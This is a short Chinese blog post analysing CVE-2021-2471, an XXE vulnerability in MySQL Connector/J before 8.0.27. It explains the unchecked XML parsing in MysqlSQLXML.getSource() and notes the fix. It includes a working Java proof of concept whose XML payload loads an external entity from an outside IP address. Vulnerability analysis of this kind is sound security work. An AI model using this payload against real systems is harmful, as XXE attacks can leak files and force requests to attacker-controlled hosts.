本文最后编辑于 前,其中的内容可能需要更新。
CVE-2021-2471
1 2 3 4 5
| <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.26</version> </dependency>
|
这个漏洞是由于MySQL JDBC 8.0.27版本之前,存在getSource()
方法未对传入的XML数据做校验,导致攻击者可以在XML数据中引入外部实体,造成XXE攻击。
分析
在com.mysql.cj.jdbc.MysqlSQLXML.getSource()
方法里

看一下直接解析了xml数据没有过滤,看一下stringRep怎么来的。

在该类的setString方法赋值。调用之后正好将fromResultSet也变为false
复现
SQLXML对象可以如此获得

POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import javax.xml.transform.dom.DOMSource; import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; import java.sql.SQLXML;
public class Poc1 { public static void main(String[] args) throws SQLException { String poc = new String("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + "<!DOCTYPE ANYTHING [\n" + "<!ENTITY % test SYSTEM \"http://124.70.40.5:1234\">\n" + "%test;"); Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test", "root", "root"); SQLXML sqlxml = connection.createSQLXML(); sqlxml.setString(poc); sqlxml.getSource(DOMSource.class); } }
|

修复
在8.0.27之后该漏洞就修复了

做了很多校验,没法任意解析xml数据了。